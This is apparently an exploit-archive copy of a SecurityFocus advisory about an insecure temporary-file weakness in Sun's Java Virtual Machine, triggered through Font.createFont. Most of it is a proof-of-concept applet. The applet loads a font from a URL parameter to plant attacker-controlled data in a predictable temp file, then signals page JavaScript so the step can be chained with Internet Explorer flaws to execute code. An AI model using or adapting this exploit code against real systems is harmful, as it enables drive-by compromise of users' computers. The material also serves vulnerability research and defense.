56 lines
No EOL
1.1 KiB
Java
56 lines
No EOL
1.1 KiB
Java
source: https://www.securityfocus.com/bid/10685/info
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Sun Java Virtual Machine is a component of the Sun Java infrastructure that performs the handling of Java applets and other programs. It is available for Unix, Linux, and Microsoft platforms.
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Sun Java Virtual Machine is prone to an insecure temporary file creation weakness. It is reported that this file is created by the 'Font.createFont' method with the following name:
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+~JFxxxxx.tmp
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where xxxxx is a random number.
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This issue can be combined with various other vulnerabilities in Internet Explorer to ultimately allow for code execution on a vulnerable computer.
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import java.applet.Applet;
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import java.awt.Font;
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import java.net.URL;
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import netscape.javascript.JSObject;
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public class Jelmer extends Applet {
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public void init() {
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try {
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Font f = Font.createFont(Font.TRUETYPE_FONT, new
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URL(getParameter("infile")).openStream());
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} catch(Exception ignored) {}
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try {
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JSObject jsWin = JSObject.getWindow(this);
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jsWin.call("doneloading", new Object[]{});
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} catch(Exception e) {
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e.printStackTrace();
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}
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}
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} |